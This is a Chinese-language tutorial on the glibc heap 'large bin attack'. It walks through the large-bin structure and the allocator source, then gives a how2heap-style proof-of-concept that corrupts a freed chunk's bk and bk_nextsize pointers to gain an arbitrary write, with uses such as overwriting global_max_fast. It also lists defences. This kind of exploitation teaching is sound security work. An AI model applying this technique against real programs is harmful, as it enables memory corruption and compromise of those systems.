浅析largebin attack
字数 1559 2025-08-05 08:18:25
Large Bin Attack 深入分析与利用
1. Large Bin 基础概念
1.1 Large Bin 定义与特点
- Large Chunk:大于512字节(或1024字节,取决于系统)的chunk称为large chunk
- Large Bin:用于管理这些large chunk的bin集合
- 数量与索引:共63个bin,索引为64~126
- 大小范围:每个bin中的chunk大小不一致,而是处于一定区间范围内
1.2 Large Bin 结构特性
- 与其他链表不同,结构更复杂
- 除了常规的fd、bk指针外,还有两个特殊指针:
fd_nextsize:指向下一个不同大小的chunkbk_nextsize:指向上一个不同大小的chunk
- 插入顺序规则:
- 按照大小从大到小排序
- 若大小相同,按照free时间排序
- 对于相同大小的堆块,只有首堆块的
fd_nextsize和bk_nextsize会指向其他堆块,后续堆块的这两个指针为0 - size最大的chunk的
bk_nextsize指向最小的chunk - size最小的chunk的
fd_nextsize指向最大的chunk
2. Large Bin 相关源码分析
2.1 核心处理流程
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
bck = victim->bk;
// 检查chunk大小是否合法
if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
__builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
malloc_printerr(check_action, "malloc(): memory corruption", chunk2mem(victim), av);
size = chunksize(victim);
// 处理last remainder情况
if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
victim == av->last_remainder && (unsigned long)(size) > (unsigned long)(nb + MINSIZE)) {
// 分割并重新附加剩余部分
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks(av);
if (!in_smallbin_range(remainder_size)) {
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
// 设置头部信息并返回
set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
set_foot(remainder, remainder_size);
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
// 从unsorted list中移除
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
// 精确匹配则直接返回
if (size == nb) {
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena) set_non_main_arena(victim);
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
// 将chunk放入合适的bin中
if (in_smallbin_range(size)) {
victim_index = smallbin_index(size);
bck = bin_at(av, victim_index);
fwd = bck->fd;
} else {
victim_index = largebin_index(size);
bck = bin_at(av, victim_index);
fwd = bck->fd;
/* 维护large bins的排序 */
if (fwd != bck) {
/* 设置inuse位以加速比较 */
size |= PREV_INUSE;
/* 如果比最小的还小,跳过下面的循环 */
assert(chunk_main_arena(bck->bk));
if ((unsigned long)(size) < (unsigned long)chunksize_nomask(bck->bk)) {
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
} else {
assert(chunk_main_arena(fwd));
while ((unsigned long)size < chunksize_nomask(fwd)) {
fwd = fwd->fd_nextsize;
assert(chunk_main_arena(fwd));
}
if ((unsigned long)size == (unsigned long)chunksize_nomask(fwd))
/* 总是插入在第二个位置 */
fwd = fwd->fd;
else {
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
} else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin(av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
}
2.2 关键处理步骤
- unsorted bin遍历:每次迭代检索unsorted bin的最后一个chunk
- last remainder处理:如果满足条件,分割chunk并返回请求部分
- 精确匹配检查:如果size完全匹配,直接返回
- small bin处理:如果chunk在small bin范围内,插入对应small bin
- large bin处理:
- 如果large bin为空,直接插入
- 如果比最小的还小,插入到末尾
- 否则遍历找到合适位置插入:
- 如果找到相同大小,插入到第二个位置
- 否则作为新的大小插入
3. Large Bin Attack 利用技术
3.1 攻击原理
通过修改large bin中chunk的bk和bk_nextsize指针,在后续malloc操作中实现任意地址写。关键利用点在于:
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
和
fwd->bk = victim;
bck->fd = victim;
3.2 利用步骤示例
-
分配多个large chunk:
unsigned long *p1 = malloc(0x320); malloc(0x20); // 防止合并 unsigned long *p2 = malloc(0x400); malloc(0x20); // 防止合并 unsigned long *p3 = malloc(0x400); malloc(0x20); // 防止合并 -
释放p1和p2到unsorted bin:
free(p1); free(p2); -
分配一个小chunk,使p2进入large bin:
malloc(0x90); -
释放p3到unsorted bin:
free(p3); -
修改p2的元数据:
p2[-1] = 0x3f1; // 修改size p2[0] = 0; // fd p2[2] = 0; // fd_nextsize p2[1] = (unsigned long)(&stack_var1 - 2); // bk p2[3] = (unsigned long)(&stack_var2 - 4); // bk_nextsize -
再次malloc触发攻击:
malloc(0x90);
3.3 内存布局变化
攻击前:
- last_remainder: 0x6030a0 (size: 0x290)
- unsortbin: 0x6037a0 (size: 0x410) <--> 0x6030a0 (size: 0x290)
- largebin[0]: 0x603360 (size: 0x410)
攻击后:
- 通过修改p2的
bk和bk_nextsize,使得在插入p3时:fwd->bk_nextsize->fd_nextsize = victim写入目标地址1fwd->bk = victim写入目标地址2
4. 实际应用场景
- 修改全局变量:如修改
global_max_fast以启用后续的fastbin攻击 - 栈变量修改:如示例中修改栈上的变量
- 任意地址写:结合其他技术实现更复杂的攻击
5. 防御措施
- 完整性检查:对large bin的链表操作增加更严格的检查
- 指针验证:验证
bk和bk_nextsize指针的有效性 - 安全机制:如tcache机制可以减少此类攻击面
6. 参考资源
- CTF Wiki - Large Bin Attack
- how2heap large_bin_attack示例
- glibc源码分析